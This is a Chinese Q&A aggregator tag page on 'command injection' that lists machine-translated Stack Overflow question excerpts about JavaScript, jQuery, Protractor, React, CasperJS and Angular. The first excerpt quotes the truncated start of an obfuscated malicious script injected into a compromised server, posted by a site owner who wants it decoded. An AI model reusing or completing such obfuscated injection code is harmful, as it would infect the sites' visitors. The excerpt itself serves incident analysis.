草庐IT

命令注入

全部标签

javascript - km0ae9gr6m js注入(inject)破解信息

只是想知道js专家是否可以解码此脚本注入(inject),以便我可以检查我们的服务器是否有进一步的感染。有没有人知道这是怎么发生的?服务器已完全修补(MSServer2008、Plesk),网络应用程序已完全修补(DNN5.6.7)。已删除所有注入(inject)的脚本并重置所有服务器密码。我还应该做什么吗?谢谢:)/*km0ae9gr6m*/i=0;try{prototype-5;}catch(z){f=[102,234,110,198,116,210,111,220,32,220,101,240,116,164,97,220,100,222,109,156,117,218,98,2

javascript - anchor 标记上的 JQuery click() 未从 WebBrowser 控件内的注入(inject)脚本触发

我正在使用WinFormsWebBrowser控件开发网络机器人。除以下代码中的第二个click()调用外,一切正常:functionSaveRecordClick(){try{varmenuButton=$('#s_at_m_4');menuButton.click();//saveLink不为空。我知道这一点是因为我在条件内放置了一个alert()调用。使用建议的解决方案更新了代码functionSaveRecordClick(){try{varmenuButton=$('#s_at_m_4');menuButton.click();varx=$('#s_at_m_4-menuli

javascript - Protractor 等待命令无法等待引导模式出现

场景:每当用户使用不正确的凭据登录时,Bootstrap模式会显示1-2秒,并显示消息“抱歉,不正确的凭据”。下面是模态的HTML。Sorry,invalidcredentials!我需要验证预期的错误文本是否等于实际的错误文本。我的代码页面对象.jsvarerrorModal=element(by.css('.modal-body.note-error.text-center.ng-binding'));this.getErrorText=function(){varuntil=protractor.ExpectedConditions;browser.wait(until.text

javascript - 通过注入(inject)的 JavaScript 强制 React 触发事件

我想做什么我目前正在为Web-Whatsapp编写一个小聊天机器人。由于js注入(inject)简单,我决定使用chrome扩展。有一个语音消息按钮,当您开始输入内容时,该按钮会切换为发送文本的按钮。React删除语音消息元素并呈现发送按钮。问题整个过程都是事件驱动的。我正在通过不触发react事件的DOM设置文本。我试图模拟按键,但出于安全原因,chrome的v8似乎禁用了所有模拟按键的方法。我还尝试稍微操纵HTML,但在我对元素进行更改后react停止工作。我也为此尝试了jQuery函数,但也没有用。对没有帮助的事情的引用:KeydownSimulationinChromefire

javascript - 使用 PhantomJs 和 CasperJs 注入(inject) Js

我正在尝试使用CasperJS来抓取一个具有动态内容的网站,但到目前为止一直失败。该网站使用几个js库(例如Prototype)来使用自动完成来创建内容。因此,我试图插入一些值并触发事件来触发内容创建。插入和触发事件工作正常,但没有创建内容。我是CasperJS的新手,发现它在库的相对路径方面存在问题。我怀疑我的问题是由于库没有在我的页面环境中正确加载引起的。因此,我尝试使用injectJs像这样注入(inject)它们//...createcasperanddosomeotherstuffcasper.then(function(){this.echo(this.page.injec

javascript - 使用 index.ts 文件导出类导致注入(inject)的构造函数中未定义

我使用index.ts文件来封装导出,如Angular2样式指南(https://github.com/mgechev/angular2-style-guide/blob/master/old/README.md#directory-structure)中所述。这在我编写的应用程序中运行良好,但出于某种原因,在我尝试注入(inject)另一项服务的一项服务中,这会导致奇怪的错误。导出类:import{Injectable}from"angular2/core";@Injectable()exportclassUserIds{private_signature_id:string;pri

注入(inject) URL 的 Javascript

我们有一个相对受欢迎的网站,最近我们开始看到一些奇怪的URL在我们的日志中弹出。我们的页面引用了jQuery,我们开始看到这些脚本的片段被插入到URL中。所以我们有这样的日志条目:/js/,data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?d(请求的用户代理字符串是Java/1.6.0_06,所以我认为我们可以安全地假设它是一个可能用Java编写的机器人。另外,我可以在jQuery文件中找回那段附加代码。现在,我的问题是为什么机器人会尝试

javascript - 尝试分配给只读属性,即使相同的命令在其他地方也有效?

我有一个Javascript函数(在基于Angular2NativeScript的移动应用程序中),它在按下按钮时触发,它应该隐藏按钮并在其位置显示事件指示器,执行蓝牙扫描,完成后切换关闭事件指示器并显示原始按钮。bluetoothAdd(){this.isScanning=true;varplusIcon=this.page.getViewById("add");plusIcon.style.opacity=0;bluetooth.hasCoarseLocationPermission().then(function(granted){if(!granted){bluetooth.r

javascript - 如何从命令行运行 QUnit 测试?

我最近开始开发一个Rails应用程序,该应用程序已经有大量QUnit测试用于测试ember。我负责使用CI设置应用程序的任务(我决定使用CodeShip)。我目前面临的问题是,我运行qunit测试的唯一方法是转到http://localhost:3000/qunit。我需要设置一种从命令行运行测试的方法。我进行了大量研究,并尝试了至少10种不同的解决方案,但都没有奏效。目前我正在尝试使用teaspoon但我还没有设法让它工作。任何帮助将非常感激。如果我需要发布有关设置的更多信息,请告诉我。 最佳答案 node-qunit-phant

javascript - 如何将模拟服务注入(inject)过滤器的单元测试?

我有一个简单的angularjs过滤器(它需要一个id并将其转换为名称字符串),它依赖于自定义服务来完成它的工作:angular.module('app').filter('idToName',function(User){returnfunction(id){varresult,user;result='';if(id){result='nonamefound';user=User.getById(id);if(user){result=user.firstName;}}returnresult;};});我想为它写一个单元测试。我希望能够将用户服务的模拟注入(inject)到测试中